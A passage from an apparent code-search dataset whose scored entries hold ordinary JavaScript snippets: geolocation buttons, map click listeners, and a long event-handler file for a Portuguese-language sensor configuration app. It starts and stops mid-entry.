"a92d358de5aff159bd26aec1cfdbb6e4", "score": "0.626878", "text": "function init() {\n\tvar checkButton = document.getElementById(\"checkButton\");\n\tcheckButton.onclick = getLocation;\n}", "title": "" }, { "docid": "0df84f8f8ac57a423f056e204ddd08fc", "score": "0.620644", "text": "onButtonPress() {\n this.getLocationAsync();\n }", "title": "" }, { "docid": "5bf6f8214cb9c21658ad6f0b7daf210a", "score": "0.6162111", "text": "function getLoc() {\n\tif (!isClicked) {\n\t\tif (navigator.geolocation) {\n\t\t\tisClicked = true;\n\t\t\tnavigator.geolocation.getCurrentPosition(showPosition);\n\t\t} else { \n\t\t\tx.innerHTML = \"Geolocation is not supported by this browser.\";\n\t\t}\n\t} else {\n\t\tswal(\n\t\t\t\"Error:\",\n\t\t\t\"You already clicked the button!\",\n\t\t\t\"error\"\n\t\t);\n\t}\n\n}", "title": "" }, { "docid": "2e15990c125809d303eb13a632bc44c4", "score": "0.615482", "text": "function addPanToCurrentLocationButton(map) {\n const infoWindow = new google.maps.InfoWindow();\n const locationButton = document.createElement(\"button\");\n locationButton.textContent = \"Pan to Current Location\";\n locationButton.classList.add(\"custom-map-control-button\");\n map.controls[google.maps.ControlPosition.TOP_CENTER].push(locationButton);\n\n locationButton.addEventListener(\"click\", () => {\n // Try HTML5 geolocation.\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(\n (position) => {\n const pos = {\n lat: position.coords.latitude,\n lng: position.coords.longitude,\n };\n\n infoWindow.setPosition(pos);\n infoWindow.setContent(\"You're here!\");\n infoWindow.open(map);\n map.setCenter(pos);\n },\n () => {\n handleLocationError(true, infoWindow, map.getCenter());\n }\n );\n } else {\n // Browser doesn't support Geolocation\n handleLocationError(false, infoWindow, map.getCenter());\n }\n });\n}", "title": "" }, { "docid": "f0b832652a3ba55e804bfe9e57e4d5b4", "score": "0.6141306", "text": "function updateGeoLocationButton() {\n \t\t\tif(use_default_position){\n\t\t\t\t\t$('a.imagebutton.location.webcams').removeClass('off').addClass('on');\n\t\t\t\t\t$('a.imagebutton.location.webcams').removeClass('icon-line-standort').addClass('icon-filled-standort');\n\t\t\t\t\t$('a.imagebutton.location.webcams').removeClass('searching_location'); \t\t\t\t\n \t\t\t} else {\n\t\t \t\tthat.geoLocation.getCurrentPosition(\n\t\t\t\t\t\tfunction(position) {\n\t\t\t\t\t\t\tif(position != undefined) {\n\t\t\t\t\t\t\t\t$('a.imagebutton.location.webcams').removeClass('off').addClass('on');\n\t\t\t\t\t\t\t\t$('a.imagebutton.location.webcams').removeClass('icon-line-standort').addClass('icon-filled-standort');\n\t\t\t\t\t\t\t\t$('a.imagebutton.location.webcams').removeClass('searching_location');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t},\n\t\t\t\t\t\tfunction(error) {\n\t\t\t\t\t\t\t$('a.imagebutton.location.webcams').removeClass('on').addClass('off');\n\t\t\t\t\t\t\t$('a.imagebutton.location.webcams').removeClass('icon-filled-standort').removeClass('searching_location').addClass('no_location').addClass('icon-line-standort');\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{}\n\t\t\t\t\t);\n \t\t\t}\n\t \t}", "title": "" }, { "docid": "baec547e6b74eead19483101a409c2f5", "score": "0.6105504", "text": "function btnEast_click() {nextLoc(EAST);}", "title": "" }, { "docid": "5a31a060edc41a9a32e4ad68e08b6637", "score": "0.6074912", "text": "function handleGeolocationClick(e) {\n theInterface.emit('ui:geolocationRequest');\n }", "title": "" }, { "docid": "cc60444857ec1a9d7a8d47b3619b38d6", "score": "0.59845626", "text": "function addClickEventListener() {\n map.addEventListener('tap', (evt) => {\n const marker_mode = document.getElementById('marker_mode').checked;\n if (marker_mode) {\n var coord = map.screenToGeo(\n evt.currentPointer.viewportX,\n evt.currentPointer.viewportY\n );\n\n const marker = new H.map.Marker({ lat: coord.lat, lng: coord.lng },{ icon: icon });\n markers.push(marker);\n waypoints.push({\n id: marker.getId(),\n coord: {\n lat: coord.lat,\n lng: coord.lng\n }\n });\n\n map.addObject(marker);\n calculateDistance();\n }\n });\n}", "title": "" }, { "docid": "bcf65e84c0c773761e7cdb9ff42d0032", "score": "0.596965", "text": "function handleShowMeTheWayButton(event) {\n var location = $(event.target).attr(\"data-localization\");\n var locationStart = getCurrentLocation();\n location = location.split(',');\n location = {\n latitude: Number(location[0]),\n longtitude: Number(location[1])\n };\n $(\"show-way-map\").html(\"\");\n initGoogleMapForShowMeTheWay(\"show-way-map\", function () {\n displayRoute(locationStart, location);\n $.mobile.changePage(\"#showmetheway\");\n });\n}", "title": "" }, { "docid": "db3d104e35bd5b7ac1e20b5391fa3d60", "score": "0.5966789", "text": "__addListeners() {\n this.__myMap.events.add('click', (e) => {\n const coords = e.get('coords');\n\n this.__movePoint(this.__convertPosArrayToObject(coords));\n this.__getAddress();\n });\n\n this.__myMap.geoObjects.events.add('click', (e) => {\n const coords = e.get('coords');\n\n this.__movePoint(this.__convertPosArrayToObject(coords));\n this.__getAddress();\n });\n\n if (this.__geolocationControl) {\n this.__geolocationControl.events.add('locationchange', (e) => {\n const coords = e.get('position');\n this.__movePoint(this.__convertPosArrayToObject(coords));\n this.__getAddress();\n });\n }\n\n if (this.__searchControl !== undefined) {\n this.__searchControl.events.add('resultselect', (e) => {\n const index = e.get('index');\n const coords = this.__searchControl.getResultsArray()[index].geometry.getCoordinates();\n this.__movePoint(this.__convertPosArrayToObject(coords));\n this.__text = this.__getUserPositionAddress(this.__searchControl.getResultsArray()[index].properties);\n }, this);\n\n }\n }", "title": "" }, { "docid": "1c9891c02dd02731e963e55f41bd2ee5", "score": "0.5899533", "text": "function addMapEvents( ) {\n var a, b;\n\n a = new coc.ui.FastButton( document.getElementById( \"confirm-but\" ), report );\n b = new coc.ui.FastButton( document.getElementById( \"photo-holder\" ), onAddPhoto );\n\n return false;\n }", "title": "" }, { "docid": "0591092344e3d06fcdf08bfd1bcbf62b", "score": "0.5895149", "text": "function addListeners() {\n\tvar startButton = document.getElementById(\"start-button\");\n\tstartButton.addEventListener(\"click\", start);\n\n\tvar slowButton = document.getElementById(\"slow-button\");\n\tslowButton.addEventListener(\"click\", slow);\n\n\tvar fastButton = document.getElementById(\"fast-button\");\n\tfastButton.addEventListener(\"click\", fast);\n\n\tvar keyHelper = document.getElementById(\"key-helper\");\n\tkeyHelper.addEventListener(\"click\", showVisualKey);\n\n\tvar mapContainer = document.getElementById(\"map-container\");\n\tmapContainer.addEventListener(\"click\", getDirection);\n\n\tdocument.addEventListener(\"keydown\", changeDirection);\n}", "title": "" }, { "docid": "df9ec4cff413e22e67181c7db7357738", "score": "0.58698833", "text": "function controller() {\n locationButtons()\n // validateEmail()\n }", "title": "" }, { "docid": "7fb29974d7e4ef48692b1ad24345e905", "score": "0.5851239", "text": "function Location() {\n longitude = -79.20989561;\n latitude = 43.73768353;\n btnStopLocation.disabled=true;\n lastRefresh=0;\n}", "title": "" }, { "docid": "7b70eb0a09e96db6248bbe696535bf3d", "score": "0.5841775", "text": "function buttonFunction() {\n newButton.insertAdjacentHTML(\n 'afterend',\n '<p class=\"first-p\">Check console for location info</p>'\n );\n console.log('Protocol: ', window.location.protocol);\n console.log('Hostname: ', window.location.hostname);\n console.log('Port: ', window.location.port);\n removeHandler();\n}", "title": "" }, { "docid": "31a159c5828ba359e50f9287d5a0bc00", "score": "0.58209455", "text": "function allfunctions(){\ngetPos();\nhomeButton();\nlocationQuery();\n}", "title": "" }, { "docid": "3df80fb82a8c0082fa7f1b60d70cb986", "score": "0.5819277", "text": "function onClickLocate() {\n\t$('#processing-modal .loading-modal-text').html(\"Localizando...\");\n\t$('#processing-modal').modal('show');\n\tnavigator.geolocation.getCurrentPosition(reelocalizar, reelocalizarError, {maximumAge: 3000, timeout: 10000, enableHighAccuracy: true});\n}", "title": "" }, { "docid": "cfc5e3d290c1ffba801413c5ca846700", "score": "0.5803572", "text": "function LocateMeControl(controlDiv, map) {\n\n // Set CSS for the control border.\n var controlUI = document.createElement('div');\n controlUI.style.backgroundColor = '#fff';\n controlUI.style.border = '2px solid #fff';\n controlUI.style.borderRadius = '3px';\n controlUI.style.boxShadow = '0 2px 6px rgba(0,0,0,.3)';\n controlUI.style.cursor = 'pointer';\n controlUI.style.marginBottom = '22px';\n controlUI.style.textAlign = 'center';\n controlUI.title = 'Click to show current location';\n controlDiv.appendChild(controlUI);\n\n // Set CSS for the control interior.\n var controlText = document.createElement('div');\n controlText.style.color = 'rgb(25,25,25)';\n controlText.style.fontFamily = 'Roboto,Arial,sans-serif';\n controlText.style.fontSize = '16px';\n controlText.style.lineHeight = '38px';\n controlText.style.paddingLeft = '5px';\n controlText.style.paddingRight = '5px';\n controlText.innerHTML = '<span class=\"shortcut_letter\">L</span>ocate Me';\n controlUI.appendChild(controlText);\n\n // Show autoupdate version\n var versionText = document.createElement('div');\n versionText.style.color = 'rgb(25,25,25)';\n versionText.style.fontFamily = 'Roboto,Arial,sans-serif';\n versionText.style.fontSize = '16px';\n versionText.style.lineHeight = '38px';\n versionText.style.paddingLeft = '5px';\n versionText.style.paddingRight = '5px';\n versionText.innerHTML = 'version: ' + autoupdate_version;\n controlUI.appendChild(versionText);\n\n\n\n\n // Setup the click event listeners: simply set the map to Chicago.\n controlUI.addEventListener('click', function() {\n locateme_button_onclick();\n });\n\n}", "title": "" }, { "docid": "f3be18442df17d1dd898cf823d1f3be0", "score": "0.5801484", "text": "function initializeClickHandlers() {\n $(\"#autolocate\").click(autolocateClickHandler);\n $(\"#details-back\").click(transitionToResultsView);\n}", "title": "" }, { "docid": "42bd62f4db41c95d3dddd15785f2e49d", "score": "0.5797349", "text": "function register_event_handlers() {\n $( document ).on( \"pageshow\", \"#uib_page_seco\", function() {\n getCoordinate();\n });\n\n\n /* button Push */\n $(document).on(\"change\", \"#text-user-name\", function (evt) {\n /* your code goes here */\n if (this.value == 'cap' || this.value == 'devx') {\n $(\".uib_w_375\").show();\n }else{\n $(\".uib_w_375\").hide(); // DB develop\n }\n });\n\n $(document).on(\"change\", \"#af-checkbox-database\", function (evt) {\n if ($(this).is(\":checked\")) {\n DATABASE = 'DEV';\n SERVER_PATH = '/dev/ti';\n } else {\n DATABASE = null;\n SERVER_PATH = '/0';\n }\n });\n\n\n\n /* button gravar wifi */\n $(document).on(\"click\", \".uib_w_10\", function (evt) {\n Cookies[\"ssid\"] = document.getElementById(\"ssid\").value;\n Cookies[\"passwd\"] = document.getElementById(\"passwd\").value;\n Cookies[\"proxy\"] = document.getElementById(\"proxy\").value;\n gravarConfiguracao('w', document.getElementById(\"text_wifi\"));\n });\n\n /* button btn_remote_config */\n $(document).on(\"click\", \"#btn_remote_config\", function (evt) {\n gravarConfiguracao('u', document.getElementById(\"text_wifi\"));\n });\n\n /* button TS */\n $(document).on(\"click\", \".uib_w_19\", function (evt) {\n document.getElementById(\"text_ts\").value = '';\n activate_subpage(\"#uib_page_6\");\n });\n\n /* button Inicio */\n\n\n /* button AP */\n $(document).on(\"click\", \".uib_w_16\", function (evt) {\n document.getElementById(\"text_ap\").value = '';\n activate_subpage(\"#uib_page_8\");\n });\n\n /* button WIFI */\n $(document).on(\"click\", \".uib_w_18\", function (evt) {\n activate_subpage(\"#uib_page_3\");\n document.getElementById(\"text_ips\").value = myIP[0];\n });\n\n /* button Config */\n\n\n /* button #btn_encode */\n $(document).on(\"click\", \"#btn_encode\", function (evt) {\n var encodedString = Base64.encode(document.getElementById(\"en_entrada\").value);\n console.log(encodedString);\n document.getElementById(\"en_saida\").value = encodedString;\n });\n\n /* button #btn_decode */\n $(document).on(\"click\", \"#btn_decode\", function (evt) {\n var decodedString = Base64.decode(document.getElementById(\"en_entrada\").value);\n document.getElementById(\"en_saida\").value = decodedString;\n });\n\n /* button #btn_gravar_ts */\n $(document).on(\"click\", \"#btn_gravar_ts\", function (evt) {\n //Cookies[\"api_key\"] = document.getElementById(\"api_key\").value;\n //Cookies[\"canal\"] = document.getElementById(\"canal\").value;\n Cookies[\"nro_pontos\"] = document.getElementById(\"nro_pontos\").value;\n Cookies[\"inatividade\"] = document.getElementById(\"inatividade\").value;\n Cookies['tempo_ler_corrente'] = document.getElementById(\"tempo_ler_corrente\").value;\n Cookies['contador_enviar_web'] = document.getElementById(\"contador_enviar_web\").value;\n gravarConfiguracao('t', document.getElementById(\"text_ts\"));\n });\n\n\n /* button #btn_gravar_ap */\n $(document).on(\"click\", \"#btn_gravar_ap\", function (evt) {\n Cookies[\"ap_ssid\"] = document.getElementById(\"ap_ssid\").value;\n Cookies[\"ap_passwd\"] = document.getElementById(\"ap_passwd\").value;\n Cookies[\"ap_canal\"] = document.getElementById(\"ap_canal\").value;\n Cookies[\"ap_cripto\"] = document.getElementById(\"ap_cripto\").value;\n gravarConfiguracao('a', document.getElementById(\"text_ap\"));\n });\n\n\n /* button Config */\n $(document).on(\"click\", \".uib_w_6\", function (evt) {\n document.getElementById(\"text_config\").innerHTML = '';\n activate_subpage(\"#uib_page_5\");\n });\n\n /* button #btn_info */\n $(document).on(\"click\", \"#btn_info\", function (evt) {\n var recursos=parseInt( json_config.canal.recursos);\n activate_subpage(\"#uib_page_info\");\n lerStatus('alertas', \"pag_info_status\");\n $(\"#text_info_modelo\").html('APP Tsensor ' + VERSAO.MAJOR + '.' + VERSAO.MINOR + ' ' + VERSAO.DATE + \"<BR>\");\n if (json_config != null && json_config.canal.recursos != undefined) {\n $(\"#text_info_modelo\").append('Recursos:' + recursos.toString(16) + '<BR>');\n }\n for (var m = 1; m <= MAX_NODES; m++) {\n var v_str = jsonPath(json_config, \"$.node\" + m + \".recursos\");\n if (v_str != false) {\n $(\"#text_info_modelo\").append('Módulo ' + m + ':' + v_str + '<BR>');\n }\n\n }\n\n if (json_feed != null) {\n $(\"#text_info_modelo\").append('AP=' + json_feed.channel.ip0 + '<br>');\n $(\"#text_info_modelo\").append('STA=' + json_feed.channel.ip1 + '<br>');\n $(\"#text_info_modelo\").append(json_feed.channel.updated_ip_at + '(atualizado)<br>');\n }\n\n $(\"#text_info_modelo\").append('Platform:' + device.platform + '<BR>');\n $(\"#text_info_modelo\").append('Model:' + device.model + '<BR>');\n $(\"#text_info_modelo\").append('Version:' + device.version + '<BR>');\n $(\"#text_info_modelo\").append('UUID:' + device.uuid + '<BR>');\n $(\"#text_info_modelo\").append('Cordova:' + device.cordova + '<BR>');\n $(\"#text_info_modelo\").append('vsApp:' + vsApp + '<BR>');\n\n if (localDB.registrationId != undefined)\n $(\"#text_info_modelo\").append('PushId:' + localDB.registrationId + ':' + localDB.sendRegistration);\n });\n\n /* button #btn_ler_status */\n $(document).on(\"click\", \"#btn_ler_status\", function (evt) {\n pagina_status = 0;\n lerStatus('alertas', \"pag_info_status\");\n });\n/***********************************************************************************************/\n // click no gauge\n $('#chart11_div, #chart12_div, #chart13_div, #chart14_div, #chart15_div, #chart16_div, #chart17_div, #chart18_div,#chart19_div').click(function() {\n var _div=this.id;\n var flag_seco=false;\n var sensor=_div.substr(6,1); // numero do sensor\n var div_12=_div.substr(5,1);\n var aux = (sensor % (MAX_CAIXA_SENSORES+1)) + 1;\n var _div2 = 'chart2' + sensor + \"_div\";\n var _text = 'text_pag_' + sensor;\n var ativo;\n\n if (div_12==2) {\n click_no_gauge(0);\n } else {\n if ((aux==sensor || aux==MAX_CAIXA_SENSORES+1)&& rec_sensor_seco) {\n activate_subpage(\"#uib_page_seco\");\n flag_seco=true;\n aux=1;\n }\n if (aux==MAX_CAIXA_SENSORES+1 && rec_sensor_seco==false) {\n aux=1;\n }\n if (gg1[aux] != undefined) {\n ativo=gg1[aux].ativo;\n while (ativo == false) {\n aux = (aux % (MAX_CAIXA_SENSORES+1)) + 1;\n if (gg1[aux] != undefined)\n ativo=gg1[aux].ativo;\n }\n if (aux==9 && rec_sensor_seco == true) {\n activate_subpage(\"#uib_page_seco\");\n flag_seco=true;\n aux=1;\n ativo=gg1[aux].ativo;\n while (ativo == false) {\n aux = (aux % (MAX_CAIXA_SENSORES+1)) + 1;\n if (gg1[aux] != undefined)\n ativo=gg1[aux].ativo;\n }\n }\n $('#'+_div).css(\"display\", \"none\");\n $('#'+_div2).css(\"display\", \"none\");\n $('#'+_text).css(\"display\", \"none\");\n $('#chart1' + aux +\"_div\").css(\"display\", \"block\");\n $('#chart2' + aux +\"_div\").css(\"display\", \"block\");\n $('#text_pag_' + aux).css(\"display\", \"block\");\n gtext[0].loadData();\n\n if (aux == 1 && flag_seco==false) { // voltou ao inicio\n if (rec_corrente_30a == true || rec_corrente_100a == true) { // Temperatura 2\n if (g3.sem_dados == true)\n mensagemTela(\"Sem dados\", \"Corrente\");\n else {\n gtext[1].loadData();\n activate_subpage(\"#uib_page_10\");\n }\n }\n\n }\n } else {\n click_no_gauge(0);\n }\n\n }\n });\n\n/***********************************************************************************/\n $(document).on(\"click\", \"#chart3_div\", function (evt) {\n if (Cookies[\"tela_layout\"] == \"0\") // Temperatura\n if (rec_corrente_30a == true || rec_corrente_100a == true) {\n gtext[2].loadData();\n activate_subpage(\"#uib_page_11\");\n }else {\n if (rec_temperatura3 == false) {\n console.log(\"#uib_page_2\");\n gtext[0].loadData();\n activate_subpage(\"#uib_page_2\");\n } else {\n console.log(\"#uib_page_2\");\n gtext[2].loadData();\n activate_subpage(\"#uib_page_11\"); \n }\n } else\n if (Cookies[\"tela_layout\"] == \"1\") {// TGG\n gtext[1].loadData();\n activate_subpage(\"#uib_page_10\");\n }else {\n // atualizaGrafico(g5,\"text_pag_11\");\n gtext[2].loadData();\n activate_subpage(\"#uib_page_11\");\n }\n });\n $(document).on(\"click\", \"#chart5_div\", function (evt) {\n activate_subpage(\"#uib_page_2\");\n });\n/***********************************************************************************************/\n // click no gauge\n $('#chartx611_div, #chartx612_div, #chartx621_div, #chartx631_div, #chartx641_div, #chartx651_div, #chartx661_div, #chartx671_div, #chartx681_div, #chartx711_div, #chartx712_div, #chartx721_div, #chartx731_div, #chartx741_div, #chartx751_div, #chartx761_div, #chartx771_div, #chartx781_div, #chartx811_div, #chartx812_div, #chartx821_div, #chartx831_div, #chartx841_div, #chartx851_div, #chartx861_div, #chartx871_div, #chartx881_div, #chartx911_div, #chartx912_div, #chartx921_div, #chartx931_div, #chartx941_div, #chartx951_div, #chartx961_div, #chartx971_div, #chartx981_div').click(function() {\n var _div=this.id;\n var n_mod=_div.substr(6,1); // 6\n var modulo=parseInt(n_mod) - 6;\n var sensor=parseInt(_div.substr(7,1));\n var div_12=_div.substr(8,1);\n var aux = (sensor % MAX_NODES_SENSORES) + 1;\n var _div2 = 'chartx' + n_mod + ''+ sensor + \"2_div\";\n var ativo;\n if (div_12==2) {\n click_no_gauge(modulo+1);\n } else {\n if (gm1[modulo][aux] != undefined) {\n ativo=gm1[modulo][aux].ativo;\n while (ativo == false) {\n aux = (aux % MAX_NODES_SENSORES) + 1;\n ativo=gm1[modulo][aux].ativo;\n }\n $('#'+_div).css(\"display\", \"none\");\n $('#'+_div2).css(\"display\", \"none\");\n $('#chartx' + n_mod +'' + aux +\"1_div\").css(\"display\", \"block\");\n $('#chartx' + n_mod +'' + aux +\"2_div\").css(\"display\", \"block\");\n gt[modulo].loadData(gm1[modulo][aux].series[0].campo);\n } else {\n click_no_gauge(modulo+1);\n }\n\n }\n });\n/***********************************************************************************************/\n\n /* button #btn_home */\n $(document).on(\"click\", \"#btn_home\", function (evt) {\n /* your code goes here */\n var flag = rec_temperatura || rec_sensor_analogico;\n if (json_user != undefined) {\n activate_subpage(\"#uib_page_painel\");\n } else\n if (rec_sensor_seco)\n activate_subpage(\"#uib_page_seco\");\n else\n if (json_feed == null)\n activate_subpage(\"#uib_page_2\");\n });\n\n\n /* button #btn_mod1 */\n $(document).on(\"click\", \"#btn_mod1\", function (evt) {\n activate_subpage(\"#uib_page_mod1\");\n });\n\n /* button #btn_mod2 */\n $(document).on(\"click\", \"#btn_mod2\", function (evt) {\n activate_subpage(\"#uib_page_mod2\");\n });\n\n /* button #btn_mod3 */\n $(document).on(\"click\", \"#btn_mod3\", function (evt) {\n activate_subpage(\"#uib_page_mod3\");\n });\n\n /* button #btn_inicio_mod */\n\n\n $(document).on(\"change\", \"#af-campo-6\", function (evt) {\n // Cookies.create(\"flag-campo6\",this.checked,10*365);\n testarBotoesModulo();\n });\n\n $(document).on(\"change\", \"#af-campo-7\", function (evt) {\n Cookies.create(\"flag-campo7\", this.checked, 10 * 365);\n testarBotoesModulo();\n });\n\n $(document).on(\"change\", \"#af-campo-8\", function (evt) {\n Cookies.create(\"flag-campo8\", this.checked, 10 * 365);\n testarBotoesModulo();\n });\n\n $(document).on(\"change\", \"#af-campo-9\", function (evt) {\n Cookies.create(\"flag-campo9\", this.checked, 10 * 365);\n testarBotoesModulo();\n });\n /* button page_9 */\n\n\n /* button #btn_scan */\n $(document).on(\"click\", \"#btn_scan\", function (evt) {\n barcodeScanned(evt);\n });\n\n /* button #btn_ler_config_web */\n $(document).on(\"click\", \"#btn_let_config_web\", function (evt) {\n var modelo = document.getElementById(\"modelo\").value;\n var serie = document.getElementById(\"serie\").value;\n var chave = document.getElementById(\"chave\").value;\n localDB.modelo=undefined;\n localDB.serie=undefined;\n localDB.chave=undefined;\n console.log(\"btn_let_config_web serie=\" + serie);\n document.getElementById(\"text_config\").innerHTML = \"\";\n if (modelo != '' && serie != '' && chave != '') {\n document.getElementById(\"text_config\").innerHTML = \"pesquisando servidor...\";\n console.log(\"pesquisando servidor...\" );\n localDB.modelo=modelo;\n localDB.serie= serie;\n localDB.chave=chave;\n getMainConfig(0);\n } else\n mensagemTela(\"Falta dados\", \"Informe modelo/serie/chave\");\n\n });\n\n /* button #btn_ler_barcode */\n $(document).on(\"click\", \"#btn_ler_barcode\", function (evt) {\n barcodeScanned(evt);\n });\n\n /* button #btn_status_anterior */\n $(document).on(\"click\", \"#btn_status_anterior\", function (evt) {\n pagina_status = pagina_status - 10;\n if (pagina_status < 0)\n pagina_status = 0;\n lerStatus('alertas', \"pag_info_status\");\n });\n\n /* button #btn_status_proximo */\n $(document).on(\"click\", \"#btn_status_proximo\", function (evt) {\n pagina_status = pagina_status + 10;\n lerStatus('alertas', \"pag_info_status\");\n });\n\n\n /* button Enviar TS */\n $(document).on(\"click\", \".uib_w_101\", function (evt) {\n prog_wifi();\n });\n\n /* button #btn_browser */\n $(document).on(\"click\", \"#btn_browser\", function (evt) {\n var url = 'http://192.168.4.1';\n $(\"text_wifi\").html(url);\n window.open(url, '_blank', '');\n });\n\n /* button #btn_prog_wifi */\n $(document).on(\"click\", \"#btn_prog_wifi\", function (evt) {\n prog_wifi();\n });\n\n /* button #btn_reboot_ts */\n $(document).on(\"click\", \"#btn_reboot_ts\", function (evt) {\n prog_reboot_ts();\n });\n\n /* button #btn_ler_ip */\n $(document).on(\"click\", \"#btn_ler_ip\", function (evt) {\n prog_ler_ip();\n });\n\n /* button Sensor */\n $(document).on(\"click\", \".uib_w_5\", function (evt) {\n app.consoleLog(\"recursos=\", json_config.canal.recursos);\n\n // corrente\n if (rec_corrente_30a || rec_corrente_100a)\n document.getElementById(\"af-checkbox-s-corrente\").checked = true;\n else\n document.getElementById(\"af-checkbox-s-corrente\").checked = false;\n // TEMPERATURA\n document.getElementById(\"af-checkbox-s-temp\").checked = rec_temperatura;\n // Alimentacao\n document.getElementById(\"af-checkbox-s-alimentacao\").checked = rec_alimentacao;\n // Rele/chave\n document.getElementById(\"af-checkbox-s-rele\").checked = rec_rele;\n // TEMPERATURA EXTRA DS18B20\n document.getElementById(\"af-checkbox-s-extra\").checked = rec_temperatura2;\n // TEMPERATURA EXTRA DS18B20 2\n document.getElementById(\"af-checkbox-s-extra-2\").checked = rec_temperatura3;\n // HUMIDADE\n document.getElementById(\"af-checkbox-s-humidade\").checked = rec_humidade;\n activate_subpage(\"#sub-page-sensor-main\");\n // SENSOR ANALOGICO\n document.getElementById(\"af-checkbox-s-analogico\").checked = rec_sensor_analogico;\n // WIFI\n document.getElementById(\"af-checkbox-s-wifi\").checked = rec_wifi;\n // ModBus\n document.getElementById(\"af-checkbox-s-modbus\").checked = rec_modbus;\n // Sensor seco\n document.getElementById(\"af-checkbox-s-seco\").checked = rec_sensor_seco;\n activate_subpage(\"#sub-page-sensor-main\");\n });\n\n /* button #btn-s-temp */\n $(document).on(\"click\", \"#btn-s-temp\", function (evt) {\n document.getElementById(\"text-s-temp\").innerHTML = \"\";\n activate_subpage(\"#sub-page-sensor-temp\");\n });\n\n /* button #btn-s-s-temp */\n $(document).on(\"click\", \"#btn-s-seco-salvar\", function (evt) {\n gravarConfiguracaoSensorPOST('s', document.getElementById(\"text-s-temp\"));\n });\n\n /* button #btn-s-s-temp */\n $(document).on(\"click\", \"#btn-s-s-temp\", function (evt) {\n var opt = $(\"#sel-temp option:selected\").val();\n opt = parseInt(opt);\n var valor = parseFloat(document.getElementById(\"text-s-vcc\").value);\n if (isNaN(valor)) {\n document.getElementById(\"text-s-temp\").innerHTML = \"Ajuste invalido\";\n return;\n }\n\n valor = parseFloat(document.getElementById(\"text-s-temp-min\").value);\n if (isNaN(valor) && document.getElementById(\"text-s-temp-min\").value !='') {\n document.getElementById(\"text-s-temp\").innerHTML = \"Minimo invalido\";\n return;\n }\n\n valor = parseFloat(document.getElementById(\"text-s-temp-max\").value);\n if (isNaN(valor)) {\n document.getElementById(\"text-s-temp\").innerHTML = \"Maximo invalido\";\n return;\n }\n document.getElementById(\"text-s-temp\").innerHTML = \"\";\n if (opt >=4)\n opt = opt-3;\n else\n opt = opt +5;\n console.log(\">btn-s-s-temp \" + opt)\n if (opt >=1 || opt <=8) {\n gravarConfiguracaoSensor('s'+opt, document.getElementById(\"text-s-temp\"));\n\n }\n return;\n if (opt == 0) {\n gravarConfiguracaoSensor('t5', document.getElementById(\"text-s-temp\"));\n }\n // temp 2\n if (opt == 1) {\n gravarConfiguracaoSensor('t6', document.getElementById(\"text-s-temp\"));\n }\n if (opt == 2) {\n gravarConfiguracaoSensor('t7', document.getElementById(\"text-s-temp\"));\n }\n if (opt == 3) {\n gravarConfiguracaoSensor('t8', document.getElementById(\"text-s-temp\"));\n }\n\n });\n\n $(document).on(\"change\", \"#sel-temp\", function (evt) {\n /* your code goes here */\n //var opt = $(\"#sel-temp option:selected\").index();\n var idx,aux;\n var opt = $(\"#sel-temp option:selected\").val();\n opt=parseInt(opt);\n // (#sel-temp-porta-analogico)\n $(\".uib_w_399\").hide();\n $(\".uib_w_400\").hide();\n\n if (opt==1 && rec_temperatura2 == false && rec_humidade == false) {\n document.getElementById(\"text-s-temp\").innerHTML = \"Nao possui sensor extra\";\n $(\"#sel-temp option:eq(0)\").prop('selected', true);\n return;\n }\n if (opt==2 && rec_temperatura3 == false && rec_sensor_analogico == false && rec_temperatura2 == false && rec_humidade == false) {\n document.getElementById(\"text-s-temp\").innerHTML = \"Nao possui sensor extra 2/sensor analogico\";\n $(\"#sel-temp option:eq(0)\").prop('selected', true);\n return;\n }\n if (opt==3 && rec_sensor_analogico == false) {\n document.getElementById(\"text-s-temp\").innerHTML = \"Nao possui sensor analogico\";\n $(\"#sel-temp option:eq(0)\").prop('selected', true);\n return;\n }\n if ((opt== 2||opt==3) && rec_sensor_analogico == true) {\n idx=4-opt;\n aux=jsonPath(json_config,\"$.canal.seco\"+idx+\"_tipo\");\n document.getElementById('af-checkbox-pullup').checked = (aux & 0x01) == 0x01;\n aux = jsonPath(json_config,\"$.canal.seco\"+idx+\"_porta\");\n $('#sel-temp-porta-analogico option')[aux].selected = true;\n $(\".uib_w_400\").show();\n $(\".uib_w_399\").show();\n }\n if (opt >= 4 && (rec_corrente_100a == true || rec_corrente_30a == true)) {\n opt=opt-3-5;\n }\n\n document.getElementById(\"text-s-temp\").innerHTML = \"\";\n opt = opt + 5;\n document.getElementById(\"text-s-vcc\").value = jsonPath(json_config, \"$.canal.ajuste\"+opt);\n $(\"#text-s-temp-nome\").val(jsonPath(json_config,\"$.canal.field\"+opt));\n document.getElementById(\"text-s-temp-min\").value = jsonPath(json_config,\"$.canal.field\"+opt+\"_min\");\n document.getElementById(\"text-s-temp-max\").value = jsonPath(json_config,\"$.canal.field\"+opt+\"_max\");\n if (json_config.canal.field_ocultar & (1<<opt)) {\n document.getElementById(\"af-checkbox-ocultar-temp\").checked=!true;\n } else {\n document.getElementById(\"af-checkbox-ocultar-temp\").checked=!false;\n }\n });\n\n $(document).on(\"change\", \"#sel-cmd\", function (evt) {\n var opt = $(\"#sel-cmd option:selected\").index();\n var npar=jsonPath(json_config, \"$.comandos[\"+opt+\"].par\");\n var texto=jsonPath(json_config, \"$.comandos[\"+opt+\"].texto\");\n\n app.consoleLog(opt, npar);\n if (npar < 3) {\n $(\"#text-s-par3\").prop('disabled', true);\n $(\"#text-s-par3\").css({\n 'background-color': '#FFFEEE'\n });\n } else {\n $(\"#text-s-par3\").prop('disabled', false);\n $(\"#text-s-par3\").css({\n 'background-color': '#FFFFFF'\n });\n }\n if (npar < 2) {\n $(\"#text-s-par2\").prop('disabled', true);\n $(\"#text-s-par2\").css({\n 'background-color': '#FFFEEE'\n });\n } else {\n $(\"#text-s-par2\").prop('disabled', false);\n $(\"#text-s-par2\").css({\n 'background-color': '#FFFFFF'\n });\n }\n if (npar < 1) {\n $(\"#text-s-par1\").prop('disabled', true);\n $(\"#text-s-par1\").css({\n 'background-color': '#FFFEEE'\n });\n } else {\n $(\"#text-s-par1\").prop('disabled', false);\n $(\"#text-s-par1\").css({\n 'background-color': '#FFFFFF'\n });\n }\n\n if (texto!=false && texto!=null) {\n $(\"#text-cmd-orientacoes\").val(texto);\n $(\"#text-cmd-orientacoes\").show();\n } else {\n $(\"#text-cmd-orientacoes\").hide();\n }\n\n\n });\n\n $(document).on(\"change\", \"#sel_horas\", function (evt) {\n 